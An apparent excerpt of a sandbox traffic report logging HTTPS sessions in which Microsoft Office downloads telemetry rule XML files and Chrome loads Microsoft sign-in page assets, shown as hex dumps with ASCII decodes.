2024-12-05 21:17:18 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:18 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: f6fadb53-501e-0064-5acb-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211718Z-1746fd949bdb8xvchC1EWRmbd4000000035000000000r4rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:18 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:18 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 6fdb675e-b01e-0070-05ce-451cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211718Z-1746fd949bd77mkmhC1EWR5efc00000003dg00000000wq6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:18 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:18 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211718Z-1746fd949bdb8xvchC1EWRmbd4000000039g000000001f0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:18 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 1a0f4f93-001e-0049-61cb-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211718Z-1746fd949bdlqd7fhC1EWR6vt000000003f0000000008u5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49876	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	624	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:18 UTC	818	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:18 GMT Content-Type: application/x-javascript Content-Length: 35168 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 15 Aug 2024 17:52:55 GMT ETag: 0x8DCBD5317AEB807 x-ms-request-id: 3818e0f8-501e-0007-41af-339098000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211718Z-1746fd949bd6ztf6hC1EWRvq2s00000002wg00000000grv7 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:18 UTC	15566	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2024-12-05 21:17:18 UTC	16384	IN	Data Raw: bd d6 09 fe 7b 8a 19 bb cd 17 f0 ef de f3 f6 f9 b2 b5 d7 7c 4e 0e b1 1f 36 e9 cf 0b fc b7 7d 4c 89 36 e5 f4 9a 94 e0 c7 fe 7a 3d 4e 40 b1 17 cf 5f e0 bf 2f 5e f4 37 e9 cf 0f 17 f7 e7 cb 53 30 14 ce e0 cf c9 0f a7 f8 ef c9 29 03 db 2f 08 78 8c 4d c1 9f 0e 43 3b 54 f4 74 b7 b3 49 7f 8e 09 fa 43 b7 49 65 9b 2d fc b7 cd 35 76 5f 5c 6c d3 a8 db 5f 23 2a cd c3 eb 78 7e f9 3a 18 46 09 d3 b1 83 c4 33 19 a7 51 5e c4 73 7a b4 81 b3 bb 4e f6 87 b8 48 22 ce d8 61 4a 77 7e bf 61 60 fd 83 c6 70 c7 3d 2a 24 65 3c ff 29 b8 05 65 8f 7e 92 28 a6 5f 03 b4 d0 e7 83 d6 01 a5 0e c3 03 62 c3 7e 07 64 3f 28 18 c0 de 59 28 e5 2a 95 c2 ad 0c bd 87 9b 9b 73 ef 0b 6e ef 4a 82 41 c5 98 db 07 16 9f 8d 40 26 e0 7b 08 5b f9 65 bc f8 90 5e 46 b8 dc fc 3e ee 76 a9 47 45 07 5c 78 b3 e5 cd Data Ascii: {\|N6}L6z=N@_/^7S0)/xMC;TtICIe-5v_\l_#x~:F3Q^szNH"aJw~a`p=$e<)e~(_b~d?(Y(*snJA@&{[e^F>vGE\x
2024-12-05 21:17:18 UTC	3218	IN	Data Raw: 01 95 50 8c 0f 4b 38 5d 1d 96 55 52 b0 ee 65 51 a5 80 82 a6 5f a3 d8 a6 8c a4 8c 2d e9 61 bf de 76 31 e7 b5 b7 35 ec ae ac a0 fd 7a 5a e0 51 85 64 9c 71 86 da 05 75 05 e2 2f c1 e3 1b 2e e0 ac 2b f3 db b5 61 3f 28 3c f2 32 68 91 01 35 d9 bf 91 79 ee 76 ca 31 5d 87 e6 ce b3 68 e5 9d 9d 2e 03 be 71 96 2f 47 c1 de 90 b1 6d de b2 47 e1 bd a3 cd 0e 87 4e c4 50 4c ad 76 42 79 13 eb d1 84 ba 89 a8 ec 51 f8 46 ef 45 5e 59 6d ae 8d 02 82 52 f5 51 9c a3 01 35 fe 52 6d 5e eb b5 46 a5 5a 61 3a 08 21 bc 5e 6d 35 58 78 bd 56 2c 36 30 9c 5e 86 cf 75 f6 7b 81 77 02 f8 55 8d 84 b0 cc 45 ca d8 44 7f 89 74 f2 8a 88 52 95 62 2a a5 20 69 a9 dc a0 a0 52 ad a5 a2 81 21 b3 5b 2a a1 61 96 92 ca fe c5 54 63 90 d5 37 2a 4e bc 5d 53 05 b2 91 97 6a d4 5c e7 b2 d7 69 fe 72 6e 06 bd 93 Data Ascii: PK8]UReQ_-av15zZQdqu/.+a?(<2h5yv1]h.q/GmGNPLvByQFE^YmRQ5Rm^FZa:!^m5XxV,60^u{wUEDtRb* iR![aTc7N]Sj\irn

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:18 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:18 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211718Z-1746fd949bd4w8sthC1EWR7004000000033g0000000020wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:18 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:20 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: e0aaa421-c01e-0082-628d-46af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211720Z-1746fd949bdkw94lhC1EWRxuz400000003bg00000000rs0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:20 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 68175a90-d01e-0065-3ed1-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211720Z-1746fd949bdlqd7fhC1EWR6vt000000003c000000000pp41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49886	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:20 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:20 UTC	784	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:20 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49ED96E0 x-ms-request-id: aa8c546e-d01e-0025-2273-426a2a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211720Z-1746fd949bdjzh7thC1EWR3g64000000039000000000gw5m x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:20 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:20 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 38989359-101e-000b-1791-465e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211720Z-1746fd949bdlqd7fhC1EWR6vt000000003a000000000xg0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
